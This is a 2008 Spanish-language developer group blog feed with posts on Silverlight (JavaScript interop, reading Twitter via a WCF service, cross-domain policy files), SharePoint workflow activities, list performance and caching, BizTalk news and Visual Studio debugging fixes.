Stackpanel2

posted @ 7/4/2008 1:09 AM by Fernando Cortés Hierro


Curso Windows Live APIs para desarrolladores Php y Jsp

Pues hoy ya esta disponible el curso on-line que realicé sobre como enriquecer, mediante las APIs de Windows Live las páginas web creadas por los desarrolladores PHP y JSP.

El curso esta disponible para su descarga desde Aqui, y se tratarán las siguientes APIS:

  • API Search
  • Virtual Earth API
  • Windows Live ID API
  • Messenger Activities
  • IM Control & Presence API
  • En el curso también se incluyen vídeo explicativos y sí, lo reconozco, como creo que le pasa a casi todos los mortales, no me gusta escuchar mi voz grabada :S

    Habrá novedades sobre algún curso nuevo de más APIs de Windows Live que se publicará en un futuro.

    Pues a enriquecer se ha dicho.

    posted @ 7/2/2008 3:16 AM by Fernando Cortés Hierro


    Las Cosas Claras: Llamar funciones javascript desde Silverlight

    Hoy veremos algo que nos puede resultar muy útil en nuestras aplicaciones Silverlight. Estamos hablando de la posibilidad de acceder al DOM (Document Object Model) del navegador para llamar a una función javascript que hará lo que queramos en el cliente.

    Para ello necesitamos en primer lugar usar el siguiente Namespace:

    using System.Windows.Browser;

    En este namespace disponemos de la clase HtmlPage que será la que nos permita tener el acceso necesario al DOM del navegador.

    Para este post he montado en un momentillo un ejemplo muy fácil. Son dos botones y una caja de texto. El primer botón llama a una función que muestra un alert con un mensaje predefinido en el cliente y el segundo botón muestra un alert con el texto del TextBox como mensaje. Algo sencillo pero que muestra lo más básico que podemos hacer: Llamar a una función con y sin parámetros.

    Sltobrowser

    En el código fuente podemos ver como utilizando el método GetProperty al que se le pasa el nombre de la función javascript, obtenemos un objeto de tipo ScriptObject. Este tipo de objeto dispone del método InvokeSelf que se encarga de hacer la llamada a la función en cuestión. Este método recibirá los parámetros que le serán pasados a la función javascript.

    private void bttLaunch_Click(object sender, RoutedEventArgs e)
    {
        ScriptObject scriptMethod = (ScriptObject)HtmlPage.Window.GetProperty("MostrarAlerta");
        scriptMethod.InvokeSelf();
    }
    
    private void bttLaunch2_Click(object sender, RoutedEventArgs e)
    {
        ScriptObject scriptMethod = (ScriptObject)HtmlPage.Window.GetProperty("MostrarAlerta2");
        scriptMethod.InvokeSelf(txtMessage.Text);
    }

    Un muestra del resultado por ejemplo al pulsar el segundo botón seria el siguiente:

    Capture

    En el siguiente post de esta serie veremos como hacer lo contrario. Llamar desde el cliente, el navegador, a un función del Silverlight.

    posted @ 6/27/2008 3:28 AM by Fernando Cortés Hierro


    Activando Actividades que no han sido Activadas: Actividades de SharePoint

    “The list of workflow actions on the server references an assembly that does not exist.  Some actions will not be available.  The assembly strong name is bla-bla-bla.  Contact your server administrator for more information.”

    Error encontrado a último minuto, cuando estaba preparando una conferencia que debía dar el lunes a primera hora (junto con Hadi Hariri, aunque él estaba hablando de cosas completamente diferentes). Mala cosa, ya tienes todo pensado y preparado y en el ultimo pedazo de código para rematar brillantemente la hora de conferencia, te sale SharePoint con algo por el estilo...

    Empecemos por el principio. Todo el asunto se trataba de SharePoint y el Windows WorkFlow Foundation: juntando mundos que andan por caminos separados: SharePoint y la Fundación no tienen en principio nada que ver el uno con el otro, pero cuando se ponen a trabajar juntos se pueden hacer cosas realmente brillantes. Y hay dos formas para crear Flujos de Trabajo en SharePoint: SharePoint Designer o Visual Studio; otros dos mundos separados, que en principio no tienen nada que ver el uno con el otro (es más, hasta llegan a ser enemigos), pero que si se pueden conjugar de una u otra forma, nos pueden solucionar problemas peliagudos.

    El problema que he estado viendo en varios proyectos los últimos tiempos es que los Flujos de Trabajo se están volviendo más y más complicados: las variables de entrada no hacen más que aumentar, los caminos a recorrer son cada vez más intrincados, las reglas de negocios menos y menos manejables. Por el otro lado, Flujos tienden a ser utilizados una sola vez, en una sola Lista o Librería (también como consecuencia de que cada vez son más especializados en realizar una tarea específica). Crear Flujos de Trabajo de este tipo es imposible de hacer con el SharePoint Designer, hay que usar Visual Studio, por lo tanto son bastante costosos de desarrollar (tiempo de desarrollador no es especialmente barato), y si hay que modificarlos de vez en cuando, el problema no hace más que aumentar, y nuestros clientes están cada vez menos contentos...

    Con SharePoint Designer se pueden “ensamblar” Flujos de Trabajo de una forma realmente sencilla, y es muy fácil contarle a alguien que trabaje directamente con la instalación de SharePoint como hacerlo en muy poco tiempo. Pero el Designer no tiene ninguna capacidad para hacer cosas realmente interesantes. Como combinar los puntos fuertes de los dos (hacer lo que nos de la gana con VS, hacerlo fácilmente con SharePoint) para mitigar los puntos flacos de los dos (costos y conocimientos necesarios para usar VS, falta de posibilidades en Designer)? La respuesta es Actividades...

    Actividades son esos pequeños bloques de funcionalidad que están en el Cuadro de Herramientas de Visual Studio y en las Acciones del Designer. Qué tal si dividimos el problema en bloques funcionales, creamos Actividades para ellos en Visual Studio y los instalamos en Designer de tal forma que nuestro cliente se “ensamble” sus Flujos por sí mismo? Combinamos mundos divergentes (el titulo de la conferencia) para solucionar un problema real y actual: bajar costos y aumentar flexibilidad. Un ejemplo que me he topado con frecuencia es en instalaciones de SharePoint en Universidades en donde hay un formulario para que nuevos estudiantes se inscriban: algunas facultades quieren que después de que el formulario se ha recibido, primero se haga una cita para conversar con el interesado, y luego se registra a la persona en el sistema. Otras facultades quieren registrar el interesado directamente para que no se les escape (las facultades de ingeniería por ejemplo... nadie quiere estudiar ingeniería, así que si a alguien le da por ahí, hay que agarrarlo inmediatamente) y luego hacer la cita. Como construir el Flujo detrás del formulario? De tal forma que pueda seguir los dos caminos dependiendo de variables de entrada? O crear dos Flujos, a los que hay que instalar, darles mantenimiento, etc? Porque no crear una Actividad “Formulario” (que se comunica con un formulario de InfoPath, por ejemplo), otra Actividad “Hacer Cita” (que mira en los calendarios de los entrevistadores, reserva tiempos en ellas, manda E-mails a todo el mundo) y una tercera Actividad “Registrar” (que crea un numero de registro, hace cosas en PeopleSoft, etc.), luego registramos las Actividades (creadas en Visual Studio) en SharePoint Designer y finalmente algún empleado de nuestro cliente se encarga de crear la Lista necesaria y ensamblar las Actividades en el orden indicado para crear el Flujo? Este es un ejemplo muy sencillo, pero al mismo tiempo muy real...

    Bueno, de eso se trataba mi conferencia, y lo único que me faltaba al final era configurar a SharePoint Designer para que me mostrara una Actividad de ejemplo que ya tenía lista. Y allí me salió el error. Por eso de que no hay información de Microsoft al respecto (por alguna razón extraña ya ni me da rabia, estoy tan acostumbrado...), me he sacado un Profiler del bolsillo para ver qué era lo que pasaba cuando arrancaba a Designer y en el momento de intentar ver la Actividad. Pues bien, lo primero interesante que ocurre es que el Designer llama al método “FetchLegalWorkflowActions” (del que hay una página de información de Microsoft, http://msdn.microsoft.com/en-us/library/ms774779.aspx, que por supuesto no dice nada), pero que me indica que el Designer está usando WebServices para mirar en el archivo de configuración del sitio... hmmmm... todos los días se aprende algo nuevo... Luego se van recorriendo todos los ensamblados en la configuración y revisando si los encuentra en el GAC. Y si no encuentra alguno, sale el mensaje. El problema es que mi ensamblado estaba perfectamente firmado e instalado en el GAC, y lo peor de todo, que SharePoint lo encontraba sin problemas. Así que el proceso que realiza el Designer es muy sencillo, y todo estaba perfectamente configurado, pero el error me seguía saliendo y todo el asunto se atrancaba miserablemente...

    Después de revisar todo una y otra y otra vez y ejecutar mil y un iisreset, estaba empezando a pensar en cambiar mi conferencia a algo así como “Posibles causas del embarazo de las gallinas verdes australianas”... así que me dio por cerrar a SharePoint Designer y reiniciarlo de nuevo... brillante, genial, fenomenal !!! Funciona!!!... Mi Actividad es visible y usable, y nada de errores... Muchas gracias Microsoft, me han proporcionado una de las horas más miserables de mi vida intentando encontrar un error inexistente, y todo gracias a que alguno de sus programadores no hizo su trabajo bien hecho, y gracias a que sus probadores no probaron el producto bien probado... Pero pude dar mi conferencia, y hasta me parece que a por lo menos una persona le ha gustado...

    Gustavo - http://www.gavd.net/servers/
    Escriba un Comentario que me haga reir...

    posted @ 6/26/2008 4:44 AM by Gustavo


    Twitter desde Silverlight Beta 2

    Fácilmente! Esa es la forma en la que podemos obtener desde Silverlight Beta 2 nuestro post en Twitter. Este nos provee de una forma de obtener en diferentes formatos, nuestros últimos post y más información.

    Con la siguiente URL: http://twitter.com/statuses/user_timeline/USERNAME.xml podemos obtener en formato XML los post y más información. Solo decir que debemos autenticarnos para poder recibir esta información.

    Twitter provee los siguientes formatos: RSS, XML y JSON

    Para más información sobre códigos de error posibles, limitaciones de uso, etc: Twitter API Documentation

    En el ejemplo de hoy vamos a consumir el último mensaje del usuario de este blog FernandoBlog.

    TwitterSL

    Para ello crearemos en primer lugar una aplicación Silverlight hospedada en un Sitio Web también creado en el mismo momento. De la forma en la que lo haremos, crearemos un servicio WCF que expondrá un método de obtención de los mensajes del usuario. En la siguiente imagen se puede ver las clases que necesitaremos para tal servicio:

    TwitterSL4

    • Service: Expone el contrato del servicio. En este caso dos métodos para obtener los mensajes del usuario identificado y otro para obtener los mensajes de un usuario a cuyos mensajes tenga acceso el usuario identificado.
    • TwitterHelper: Es la clase que realiza la petición HTTP al API de Twitter y donde se procesan los datos recibidos
    private List<TwitterPost> GetRequest(string uri)
    {
        WebRequest request = HttpWebRequest.Create(uri);
    
        if (!string.IsNullOrEmpty(_ttUser) && !string.IsNullOrEmpty(_ttPwd))
        {
            request.Credentials = new NetworkCredential(_ttUser, _ttPwd);
        }
    
        WebResponse res = request.GetResponse();
        StreamReader stream = new StreamReader(res.GetResponseStream());
        TextReader reader = new StringReader(stream.ReadToEnd());
    
        XDocument xDoc = XDocument.Load(reader);
    
        return (from post in xDoc.Descendants("statuses").Descendants("status")
               select new TwitterPost
               {
                   Id = post.Element("id").Value,
                   CreatedAt = DateTime.ParseExact(post.Element("created_at").Value, "ddd MMM dd HH:mm:ss zzzzz yyyy", CultureInfo.InvariantCulture, DateTimeStyles.AssumeLocal),
                   Text = HttpUtility.HtmlDecode(post.Element("text").Value)
               }).ToList<TwitterPost>();
    }
    • TwitterPost: Representa un mensaje de twitter. El API devuelve mucha información que para este ejemplo solo con el Identificador, el texto del mensaje y la fecha de la creación del mismo nos es suficiente.

     

    En la parte de Silverlight simplemente añadiremos una referencia la servicio WCF creado y haremos una llamada al método correspondiente.

    public Page()
    {
        InitializeComponent();
        ServiceClient client = new ServiceClient();
        client.TwitterPostsCompleted += new EventHandler<TwitterPostsCompletedEventArgs>(client_TwitterPostsCompleted);
        client.TwitterPostsAsync();
    }
    
    private void client_TwitterPostsCompleted(object sender, TwitterPostsCompletedEventArgs e)
    {
        List<TwitterPost> twitter = e.Result;
        if (twitter.Count > 0)
        {
            TwitterPost lastTwitter = (from post in twitter orderby post.CreatedAt descending select post).First();
            txtPost.Text = lastTwitter.Text;
            txtTime.Text = RelativeCreatedAt(lastTwitter.CreatedAt);
        }
    }

    Como curiosidad se muestra la función utilizada para mostrar la fecha de creación del mensaje en relación al día en la que se obtiene el mensaje desde Silverlight:

    private string RelativeCreatedAt(DateTime _createAt)
    {
        TimeSpan _time = DateTime.Now.Subtract(_createAt);
    
        int _days = Convert.ToInt32(_time.TotalDays);
        if (_days > 0) return string.Format("Hace {0} dia{1}", _days, _days > 1 ? "s" : "");
    
        int _hours = Convert.ToInt32(_time.TotalHours);
        if (_hours > 0) return string.Format("Hace {0} hora{1}", _hours, _hours > 1 ? "s" : "");
    
        int _minutes = Convert.ToInt32(_time.TotalMinutes);
        if (_minutes > 0) return string.Format("Hace {0} minuto{1}", _minutes, _minutes > 1 ? "s" : "");
    
        int _seconds = Convert.ToInt32(_time.TotalSeconds);
        if (_seconds < 0) _seconds = 0;
        return string.Format("Hace {0} segundo{1}", _seconds, (_seconds > 1 || _seconds == 0) ? "s" : "");
    }

    Finalmente el resultado sería el siguiente.

    TwitterSL2

    posted @ 6/20/2008 4:26 AM by Fernando Cortés Hierro


    Cuantos elementos caben en una Lista de SharePoint?

    2000 según Microsoft. No, no es cierto, después de 2000 elementos la Lista empieza a tener problemas para mostrar los elementos en pantalla (http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=382 ). Así que en realidad cuantos elementos se pueden meter en una Lista antes de que SharePoint diga “hasta aquí voy yo” y deje de funcionar? De nuevo, según Microsoft, por los cinco millones...

    Pero una cosa es meter elementos en una Lista, y otra muy diferente poder hacer algo con ellos. Si después de una cierta cantidad es infinitamente demorado encontrar uno de los elementos, no tenemos nada con cinco millones...

    Problema: Una intranet de una empresa con más o menos 20.000 usuarios. Cada mes el sistema de administración (separado de SharePoint) suministra un archivo pdf (7 kb) con el extracto del salario de cada empleado (usuario) y uno de los requisitos de la Intranet es que los usuarios puedan ver sus extractos en la Intranet, y de una forma segura. Esto significa que cada mes habrá que meter por lo menos 20.000 archivos pdf en algún lado en el Portal... en una Librería, por supuesto, pues SharePoint es todo Listas y Librerías.

    Especulación: Usar una Librería por año? Un cuarto de millón de elementos en una Librería debería ser posible según Microsoft, pero cuanto se demora SharePoint en encontrar un archivo de un usuario de un determinado mes?

    Una Librería por mes? Si la Librería puede con cinco millones, tiene que poder con 20.000, pero la pregunta sigue: que tan rápido se puede encontrar un elemento?

    Una Librería por usuario (en MiSitio, por ejemplo), con solamente sus archivos? Y cuanto se demora el sistema en subir 20.000 archivos en 20.000 diferentes sitios?

    Pruebas: Como no existen estadísticas al respecto, lo mejor es probar a ver qué pasa. Primero crear una Librería e irle metiendo archivos hasta que reviente (o no), y al mismo tiempo ver cuánto tiempo cuesta encontrar un elemento random en ella. Algunos resultados:

     

    Número de Elementos en la Lista Tiempo para encontrar un Elemento (milisegundos)
    10 2,156
    100 2,170
    1.000 2,640
    10.000 6,420
    100.000 37,125

    La búsqueda se realizó “a lo bestia”, es decir recorriendo uno por uno de los elementos en busca de uno generado en forma random. Esto se hizo así para ver que tan ágil es el Modelo de Objetos para “loopear” (no muy ágil, por lo visto). Haciendo la búsqueda con una consulta CAML (la forma inteligente) los resultados varían de 2,203 milisegundos para encontrar un elemento entre 1.000 y 2,296 en una Librería con 100.000 elementos (eso está mucho mejor). Y si la columna de búsqueda en la Lista se indexa, cuesta 2,140 milisegundos en la Librería con 100.000 elementos.

    Nota separada No. 1: parece que siempre hay un “threshold” de 2 milisegundos, probablemente el tiempo necesario para hacer que el JIT se despierte, y para que toda la burocracia de DotNet empiece a funcionar.

    Nota separada No. 2: es interesante ver cómo crece la Base de Datos de contenido de SharePoint: con los 100.000 elementos (de 7 kb cada uno) creció en 797.076.928 bytes, lo que indica que hay un “desperdicio” de 10%... probablemente no desperdicio sino espacio para los meta-datos o algo así...

    Conclusión: Buscar a lo bestia es de lo mas bestia... no hacerlo. Buscar con consultas CAML funciona de maravilla, y no importa si hay que buscar en una Librería con 100 o con 100.000 elementos, el tiempo de búsqueda es igual. Y si se indexa la columna a buscar, mejor aún. Y hay una carga interna de 2 milisegundos de la que no nos libramos por nada del mundo...

    Y como se ha hecho el asunto: Un SharePoint Job ejecuta cada día al amanecer y escanea un directorio en busca de los archivos generados (solamente una vez al mes encontrara algo, pero eso no se lo vamos a contar para que no se vuelva perezoso). Cuando encuentra archivos, el Job crea una Librería y sube todos los archivos del mes de una sola vez, asegurando los derechos de cada archivo para que solamente el dueño tenga suficientes derechos para leerlo. Una WebPart revisa las Librerías de cada mes en busca de los archivos de salario del CurrentUser y muestra lo que encuentra. Solucionado. SharePoint contento, cliente contento, todos contentos...

    Nota: como subir 100.000 elementos a una Librería de SharePoint manualmente es bastante aburrido, se ha usado una herramienta gratis, el “BulkFiller”, que pueden encontrar en http://www.sharepartsshop.com (búsquelo en la sección de “Gratis”); subir 100.000 elementos a una Librería cuesta un par de minutos, increíble. Y para borrarlos, en el mismo sitio hay otra herramienta, el “BulkCleaner”, que hace lo mismo pero al revés, y aun mas rápido...

    Gustavo - http://www.gavd.net/servers/
    Escriba un Comentario que me haga reir...

    posted @ 6/19/2008 4:28 AM by Gustavo


    ASP.NET Development Server: Port Number Error

    El otro día conseguí resolver el problema que comenté en el post Internet-Explorer cannot display the webpage y cerré el post comprobando que cuando intento depurar un sitio web, el puerto en el que escucha ASP.NET Development Server luego no es el que intenta acceder el IE7.

    En la siguiente imagen se aprecia el ASP.NET Development Server levantado en el puerto

    Asp.netDevelopmentServer

    Y vemos como se lanza el IE7 intentando acceder al puerto

    Asp.netDevelopmentServer2

    Yo en el anterior post pensaba en un primer momento que podía deberse al antivirus que tengo ESET Nod3d Antivirus, pero finalmente no fue así. Sin embargo, esto si que huele a antivirus. Investigando un poco, encontré que se puede excluir el ASP.NET Development Server de ser monitorizado por el antivirus.

    Asp.netDevelopmentServer3

    Asp.netDevelopmentServer4

    Por tanto, desmarcando de la sección Web browsers y Active mode el ejecutable de ASP.NET Development Server, podremos por fin tener un comportamiento normal en nuestro entorno de desarrollo.

    posted @ 6/17/2008 3:08 PM by Fernando Cortés Hierro


    Silverlight Beta2: CrossDomain

    Hasta la salida de la Beta 2 de Silverlight, cuando queríamos con la Beta 1 realizar una llamada un Servicio Web o WCF sabíamos que debíamos de colorar los ficheros Crossdomain.xml o ClientAccessPolicy.xml en el raíz del Sitio Web donde estuviese el Servicio a consumir por Silverlight. Silverlight por defecto irá a buscar el fichero ClientAccessPolicy.xml y sino lo encuentra buscará el Crossdomain.xml

    Si hacemos pruebas desde Silverlight Beta2, nos encontraremos que aun teniendo estos ficheros, recibimos el siguiente error depurando:

    SLBeta2WS

    El formato del fichero ClientAccessPolicy.xml que teníamos hasta ahora con el que conseguíamos que funcionase era:

    <?xml version="1.0" encoding="utf-8"?>
    <access-policy>
      <cross-domain-access>
        <policy>
          <allow-from>
            <domain uri="*"/>
          </allow-from>
          <grant-to>
            <resource path="/" include-subpaths="true"/>
          </grant-to>
        </policy>
      </cross-domain-access>
    </access-policy>

    Pero para esta versión necesitamos realizar un sutil cambio en el fichero:

    <?xml version="1.0" encoding="utf-8"?>
    <access-policy>
      <cross-domain-access>
        <policy>
          <allow-from http-request-headers="*">
            <domain uri="*"/>
          </allow-from>
          <grant-to>
            <resource path="/" include-subpaths="true"/>
          </grant-to>
        </policy>
      </cross-domain-access>
    </access-policy>

    Ahora si que funciona nuestro Silverlight.

    posted @ 6/16/2008 6:56 AM by Fernando Cortés Hierro


    Internet Explorer cannot display the webpage

    Vamos por partes. Máquina con Windows Vista y Microsoft Visual Studio 2008 recién instalado. Creamos un nuevo sitio web y cuando queremos depurar, nos encontramos con esto:

    NoEncuentralocalhost

    ¿Qué será?....El problema esta en el puñetero IPv6, y ¿Cómo deshabilitar esto?

    Abrimos Regedit.exe y en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tcpip6\Parameters añadimos un DWORD de nombre DisabledComponents y asignamos el valor decimal 255.

    Después de reiniciar he conseguido que funcione, a pesar de que aunque el ASP.NET Development Server levanta un puerto, en el IE 7 intenta acceder a otro!!

    Otro día busco porqué!

    posted @ 6/16/2008 6:16 AM by Fernando Cortés Hierro


    Movimiento Circular: Senos y Cosenos

    ¿Como nos pueden ayudar los Senos y Cosenos en nuestras aplicaciones Silverlight o Windows Presentation Foundation?

    675px-Sin_Cos_Tan_Cot_unit_circle_svgnbsp;

    Imaginemos que tenemos una elipse y queremos que realice un movimiento circular. Utilizando las funciones trigonométricas Seno y Coseno de un ángulo dado podemos obtener el punto X e Y de la circunferencia imaginaria por donde queremos mover nuestra elipse.

    Un ejemplo sencillo y que tal vez no tenga mucho sentido, pero que se puede ver el concepto del que estamos hablando:

        public partial class Window1 : Window
        {
            DispatcherTimer _timer;
            double _angle = 0;
            public Window1()
            {
                InitializeComponent();
                this._timer = new DispatcherTimer();
                this._timer.Interval = new TimeSpan(10000000);
                this._timer.Tick += new EventHandler(this.timer_Completed);
                this._timer.Start();
            }
            private void timer_Completed(object sender, EventArgs e)
            {
                double newX = Math.Sin(_angle) * 10;
                double newY = Math.Cos(_angle) * 10;
                Canvas.SetTop(elli, newY) ;
                Canvas.SetLeft(elli, newX);
                _angle++;
                if (_angle > 360)
                    _angle = 0;
            }
        }

    posted @ 6/15/2008 1:18 AM by Fernando Cortés Hierro


    BizTalk: Noticias de Oslo

    Durante las sesiones de presentación de Bill Gates y Oliver Sharp en el TechEd se anunció que cuando termine el TechEd se hará pública la CTP (community technology preview) de parte de Oslo. Es una gran noticia para todos los que queremos empezar a juguetear un poco con lo que nos depara el futuro dentro de la división de sistemas conectados de Microsoft.

    http://geekswithblogs.net/bloesgen/archive/2008/06/04/122609.aspx

    Saludos.

    posted @ 6/14/2008 12:08 AM by Tomás Hernández


    BizTalk: Documento de integración de BTS06 R2 y WCF

    Como he podido conocer a través del Blog de Eduardo Adanza, se ha publicado un completo documento técnico sobre el soporte que da BizTalk Server 2006 R2 a WCF.

    http://www.microsoft.com/downloads/details.aspx?familyid=43A3C7C5-9482-4154-B236-C2CE28C61B6C&displaylang=en

    Saludos.

    posted @ 6/13/2008 8:21 PM by Tomás Hernández


    Nuevo Blog FernandoCortes.net

    Hola,

     Despues de un buen tiempo sin postear nada de nada, comenzaré de nuevo a escribir en este nuevo blog http://www.fernandocortes.net  al igual que en http://blogs.clearscreen.com/nandy donde compiaré los mismos post.

     Escribiré apartir de ahora sobre ASP.NET, Silverlight, algo de WPF, y bueno lo que me vaya surgiendo.

     Saludos.

    posted @ 6/12/2008 7:12 PM by Fernando Cortés Hierro


    La velocidad de SharePoint

    Por fin un par minutos de tranquilidad para poder hacer algo interesante con SharePoint, no el cotidiano tira-y-afloja con clientes que no saben que es lo que quieren, y que cuando les cuentas que es lo que quieren, empiezan a creer que son “conocedores” de SharePoint... yo solo conozco a dos personas que sean “conocedoras” de SharePoint, y ninguna de las dos es cliente mío...

    Perdón por irme por las ramas. Al tema: Velocity, el nuevo juguete de Microsoft. Jorge Serrano ya ha contado de que se trata (“Microsoft Project Code Named Velicity” http://geeks.ms/blogs/jorge/archive/2008/06/03/microsoft-project-code-named-velocity-ctp1.aspx e “Información general sobre el proyecto Velocity” http://geeks.ms/blogs/jorge/archive/2008/06/07/informaci-243-n-general-sobre-el-proyecto-velocity.aspx) así que no me pongo a repetir lo que ya el contó bien contado. El asunto se trata de cacheo, algo con lo que SharePoint siempre ha tenido una relación amor-odio, o, aun mejor dicho, una relación sado-masoquista.

    Cacheo de datos es estupendo en aplicaciones Web. Por la forma intrínseca de este tipo de aplicaciones, datos tienen que ser generados una y otra y otra vez, así que meterlos en un depósito temporal para no tener que hacer todo el proceso continuamente es una excelente idea. SharePoint es una aplicación Web, ergo, debe usar cacheo. Y en realidad lo hace: MOSS utiliza las técnicas de cacheo de datos que proporciona el ASP.NET 2.0 y le agrega un mecanismo más preciso (Profile Caching) para mejorar la granularidad (como se puede traducir "granularity" al cristiano?), permitiendo crear perfiles de cacheo diferentes que se puedan aplicar a colecciones de sitios o sitios individuales. Como nota curiosa, WSS no dispone del mecanismo de cacheo que tiene MOSS... y es por eso de la relación rara de que hablábamos anteriormente.

    En realidad, a SharePoint no le gusta usar cacheo. Inclusive en las versiones anteriores se podía activar por medio de un cambio en el web.config, pero era prácticamente prohibido hacerlo. Por una razón muy sencilla: SharePoint es un sistema creado para suministrar información a cientos de miles de usuarios, dándole información personalizada a cada uno de ellos (piense nada más que cada usuario puede modificar su propia interface) y si le vamos a dar cache a cada usuario, simplemente no existe batería de servidores con suficiente memoria RAM para mantener el cacheo; o habría que limitar el cacheo a un par de segundos, lo que tampoco tiene mucho sentido.

    Pero a SharePoint 2007 le pusieron todo el asunto de Content Management, con lo que ya SharePoint no solamente sirve para crear sitios de trabajo individuales e individualizados, sino también para crear sitios Web comunes y corrientes (Publishing Feature). Y como en sitios de este tipo la información cambia muy poco en el tiempo, y no cambia para nada para cada usuario, cacheo es simpatiquísimo. Así que SharePoint 2007 tiene cacheo, pero solamente para MOSS, pues WSS no tiene la Característica de Publicación, así que no se puede usar para crear sitios Web comunes y corrientes, y, ergo de nuevo, no queremos meterle cacheo...

    Como nota al lado, otra de las cosas simpáticas de cacheo en SharePoint es que en granjas de servidores se ve frecuentemente que la información presentada no es consecuente (o, por lo menos, eso es lo que mis queridos clientes siempre dicen); veamos: servidor A tiene en memoria pagina A por 60 segundos; la información de la pagina ha sido cambiada en el momento que el cache del servidor B ha expirado, así que ahora los dos servidores tienen información diferente; el usuario que acaba de ver la pagina desde el servidor A regresa a la pagina, pero esta vez es redirigido por el Load Balancing al servidor B: la información es diferente; vuelve a hacer un refresco de la pagina, y el Load Balancing lo manda al servidor A: regreso a la información antigua... estoy empezando a creer que al final mis pobres clientes hasta puede que tengan razón...

    Pero bueno, es el día de irse por las ramas... Velocity: sistema para distribuir el cacheo entre los diferentes servidores de la granja, evitando, de pasada, los problemas de los que hemos estado hablando... suena bien para metérselo a SharePoint... manos a la obra: bajar el software (2.5 MB, no está mal)... buscar una granja de prueba de SharePoint (dos front end, nada del otro mundo)... intentar instalar el software... empieza a instalar sin problemas... llegamos a la pantalla de configuración... error... cancelar el error y seguir adelante... error... volverlo a intentar... error... bueno, al fin y al cabo es software beta... y a SharePoint no le gusta ese asunto del cacheo... habra que esperar hasta la proxima version...

    Gustavo - http://www.gavd.net/servers/
    Escriba un Comentario que me haga reir...

    posted @ 6/12/2008 4:57 AM by Gustavo


    BizTalk: Recopilación de Bloggers de BizTalk

    Os podeis subscribir y tendreis todos los bloggers más importantes en un único feed.

    http://biztalkblogs.com/

    Saludos.

    posted @ 6/9/2008 6:45 PM by Tomás Hernández


    SharePoint AllWebs no hace lo que yo quiero... y si lo hace, lo hace mal

    Pregunta para los fanáticos de optimalización en programación: como leer todas las subWebs de un SPSite de SharePoint de la forma más rápida, efectiva y eficiente posible?

    Primero que todo el problema: para un portal (bastante) grande de SharePoint, en donde al final habrá algunos miles de subSites, es necesario crear una especie de “árbol” con la estructura. Usar un cacheo del árbol después de que se ha leído de arriba abajo mejora el rendimiento, por supuesto, pero primero hay que haber leído todos los sitios y sus subsitios y sus subsitios ad infinitum... La estructura es bastante dinámica, cambiando en (en el peor de los casos) dentro de minutos, así que el cacheo no se puede mantener por más de algunos minutos sin correr el riesgo de que el usuario pierda información.

    Lo primero es que hay que usar recursividad para poder entrar por todas partes, eso es seguro. Pero dentro del lazo de la recursión es necesario conseguir el SPWebCollection de alguna forma. En principio tenemos dos maneras: con “SPSite.AllWebs()” o con “SPSite.OpenWeb().GetSubwebsForCurrentUser()”. El primer método se descarta bastante rápido por problemas de seguridad: si el usuario que está creando el árbol no tiene derechos suficientes en una u otra SPWeb en el camino, recibirá simplemente un “Access Denied” sin más, y el asunto se detiene irremediablemente. Peor aún, el usuario tiene que tener derechos de “Full Control”, de otra forma SharePoint simplemente se niega a seguir adelante.

    Así que queda el segundo método. Para mi gran sorpresa, tampoco funciona en la forma deseada. Por una u otra razón, el método tampoco devuelve todas las subWebs directamente bajo la Web actual. Después de renegar, sudar, llorar y rogar, al final resulta que hay que usar el asunto por medio del “SPSite.RootWeb.GetSubwebsForCurrentUser()” y no por medio del “OpenWeb()”. Porque? Ni idea... según la fantastica información proporcionada por el SDK, la propiedad RootWeb “Gets the root Web site of the site collection” y el método “OpenWeb” “Returns the site that is associated with the URL that is used in an SPSite constructor”... más claro no canta una gallina... y según mi humilde entender, los dos hacen lo mismo, pero de diferente manera... lo de diferente manera es seguro, en cualquier caso...

    Pero el asunto va por otro lado. AllWebs y GetSubwebsForCurrentUser son simplemente asesinos del rendimiento, pues los dos no hacen más que un bucle de web en web para sacar la lista requerida. Cuando estamos hablando de unos cuantos de sitios, que hay que leer de vez en cuando, simplemente no importa como lo hacen. Cuando hay que leer miles de sitios con mucha frecuencia, los servidores de la granja simplemente se van a 100% de CPU, y el usuario se puede ir a tomar un café mientras la información aparece en pantalla.

    Por eso de que a veces quedan marcas en la memoria de cosas leídas hace un montón de tiempo, me he acordado de un documento de Steve Peschka (Microsoft) de hace más de un año: “Working with large lists in Office SharePoint Server 2007” (http://go.microsoft.com/fwlink/?LinkId=95450&clcid=0x409) que describe cómo usar la clase “PortalSiteMapProvider”. Esta es una clase de SharePoint que probablemente solo conoce el desarrollador que la hizo, y que fue creada originalmente para ayudar a cachear la navegación (según las palabras de Steve Peschka). La clase contiene un “PortalWebSiteMapNode” que a su vez contiene la propiedad “GetChildNodes” que nos entrega una colección de los subWebs que estamos buscando... perfecto... casi perfecto... hmmm... inservible... “PortalSiteMapProvider” es una clase de MOSS y yo lo necesito para WSS...

    Gustavo - http://www.gavd.net/servers/
    Escriba un Comentario que me haga reir...

    posted @ 6/4/2008 10:54 PM by Gustavo


    BizTalk Services y SharePoint

    Hace un par de semanas Microsoft ha liberado el “Microsoft BizTalk Services”. Según el boletín de prensa de Microsoft mismo, “...The new BizTalk Relay Services facilitate the traversal and bridging of physical networks, enabling high-fidelity interconnection between cooperating systems for cross-organizational messaging behind firewalls...” ... lo que en realidad son 26 palabras que no dicen nada...

    Veamos: BizTalk Services viene del “BizTalk Labs” (http://biztalk.net/) que es tres cosas: Identity Services para poder identificar quien es quien y arreglar otras cosas de identificación internamente (con AD, por ejemplo), Connectivity Services para manejar “mensajes” a lo largo de redes y el BizTalk Labs SDK para podernos enterar como ponerlo todo junto.

    Como dice el sitio del BizTalk Labs, esta es una pieza del “Bus de Servicios de Internet” (http://biztalk.net/Overview.aspx) que no es más que una manera para interconectar aplicaciones distribuidas... ya nos vamos entendiendo...

